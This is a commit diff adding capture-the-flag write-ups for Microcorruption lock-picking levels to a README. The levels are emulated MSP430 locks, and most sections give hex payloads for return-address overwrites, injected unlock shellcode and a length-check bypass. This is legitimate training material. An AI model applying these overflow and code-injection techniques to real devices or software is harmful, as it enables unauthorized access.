Document exercises Cusco till Jakarta
parent
69755b72aa
commit
a368fe6c55
178
README.md
178
README.md
|
@ -110,4 +110,182 @@ bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
|
|||
|
||||
## Reykjavik
|
||||
|
||||
This exercise is only tricky because the application decrypts the code into
|
||||
0x2400 at runtime and then executes from there. The consequence is that no
|
||||
disassembly view is available.
|
||||
|
||||
The easiest way to solve this is to run till the password prompt. Then single
|
||||
step and the second instruction will look like this:
|
||||
|
||||
```
|
||||
CPU Cycles: 22680
|
||||
b490 455e dcff
|
||||
cmp #0x5e45, -0x24(r4)
|
||||
```
|
||||
|
||||
We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:
|
||||
|
||||
```
|
||||
455e
|
||||
```
|
||||
|
||||
If we hadn't gotten that lucky, the next step would be to copy and disassembly
|
||||
all the code starting at 0x2400. We will probably have to do something like
|
||||
that in later exercises.
|
||||
|
||||
## Whitehorse
|
||||
|
||||
For this exercise we combine two techniques. First, we notice that the
|
||||
vulnerability we first saw in Cusco where we can manipulate the return address
|
||||
to any value is present. However, because HSM-2 is in use, there is no unlock
|
||||
door function.
|
||||
|
||||
Second, we notice that the password input is stored at 0x36b8.
|
||||
|
||||
What that allows us to do is to inject code that unlocks the door, and then
|
||||
jump to that exact code via the return address manipulation.
|
||||
|
||||
We write the code to unlock the door:
|
||||
|
||||
```
|
||||
push #0x7f // INT ID for unlock door
|
||||
call #0x4532 // jump to INT
|
||||
```
|
||||
|
||||
And [assemble](https://microcorruption.com/assembler) it to:
|
||||
|
||||
```
|
||||
30127f00b0123245
|
||||
```
|
||||
|
||||
Then we add a fill pattern and change the return address to 0x36b8, so that
|
||||
the injected code gets executed. The result in hex looks like this:
|
||||
|
||||
```
|
||||
code to unlock door / return to injected code
|
||||
---------------- ----
|
||||
30127f00b0123245eeeeeeeeeeeeeeeeb836
|
||||
----------------
|
||||
fill up /
|
||||
```
|
||||
|
||||
|
||||
## Montevideo
|
||||
|
||||
This one is similar to Whitehorse, except a string copy function copies
|
||||
the input password to a different location. That is an issue because our
|
||||
previous code contains 0x00 (null character) which terminates the string.
|
||||
|
||||
To work around this, we have to get creative to avoid 0x00 in our code. For
|
||||
example, the following works:
|
||||
|
||||
```
|
||||
mov #0x1190, r15
|
||||
sub #0x1111, r15
|
||||
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
|
||||
call #0x454c // jump to INT
|
||||
```
|
||||
|
||||
Because it results in the following assembly without 0x00:
|
||||
|
||||
```
|
||||
3f4090113f8011110f12b0124c45
|
||||
```
|
||||
|
||||
As before, we manipulate the return address to execute the injected code, and
|
||||
get the solution (in hex):
|
||||
|
||||
```
|
||||
code to unlock door / return to injected code
|
||||
---------------------------- ----
|
||||
3f4090113f8011110f12b0124c45ccccee43
|
||||
----
|
||||
two fill bytes /
|
||||
```
|
||||
|
||||
## Johannesburg
|
||||
|
||||
This lock uses HSM-1 and we can directly manipulate the return address
|
||||
to jump to the unlock door function. However, there is an additional check
|
||||
that verifies that the 18th (0x11 offset) character of the input is 0x40:
|
||||
|
||||
```
|
||||
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
|
||||
```
|
||||
|
||||
Therefore, we have to make sure that this byte of our input is 0x40, and
|
||||
then change the return address to 0x4446 (unlock door functio entry). The solution is
|
||||
then (in hex):
|
||||
|
||||
```
|
||||
fill bytes / override stack to return to unlock_door
|
||||
---------------------------------- ----
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
|
||||
--
|
||||
pass check at 0x4578 /
|
||||
```
|
||||
|
||||
## Santa Cruz
|
||||
|
||||
This is another exercise where we can manipulate the return address to point to
|
||||
the unlock function. However, there are two checks that make our life harder.
|
||||
|
||||
Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to
|
||||
validate the minimum and maximum length of the user password.
|
||||
|
||||
Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before
|
||||
the return pointer manipulation becomes effection.
|
||||
|
||||
With that information, we can set the username to (in hex):
|
||||
|
||||
```
|
||||
/ upper and lower password length bounds
|
||||
----
|
||||
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
|
||||
----
|
||||
return address to unlock_door /
|
||||
```
|
||||
|
||||
And the password to:
|
||||
|
||||
```
|
||||
-- byte at 0x43c6 must be zero (via null byte of <getsn>)
|
||||
2222222222222222222222222222222222
|
||||
```
|
||||
|
||||
## Jakarta
|
||||
|
||||
This exercise is yet again vulnerable to a return address override. However,
|
||||
it also executes a length check which prevents us from making the input long
|
||||
enough to override the return address.
|
||||
|
||||
However, we can make the password long enough to overflow the length counter and therefore
|
||||
circumvent the length check.
|
||||
|
||||
For example, the username could be the following (in hex):
|
||||
|
||||
```
|
||||
6161616161616161616161616161616161616161616161616161616161616161
|
||||
```
|
||||
|
||||
And then we use the following passowrd.
|
||||
|
||||
```
|
||||
/ set return address to unlock_door
|
||||
----
|
||||
626262624c44626262626262626262626262626262626262626262626262626262626262
|
||||
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||
62626262626262626262626262626262626262626262626262626262
|
||||
-
|
||||
\ make rest of string long enough to overflow input length counter
|
||||
```
|
||||
|
||||
## Addis Ababa
|
||||
|
||||
```
|
||||
603a256e61256e
|
||||
```
|
||||
|
|
Loading…
Reference in New Issue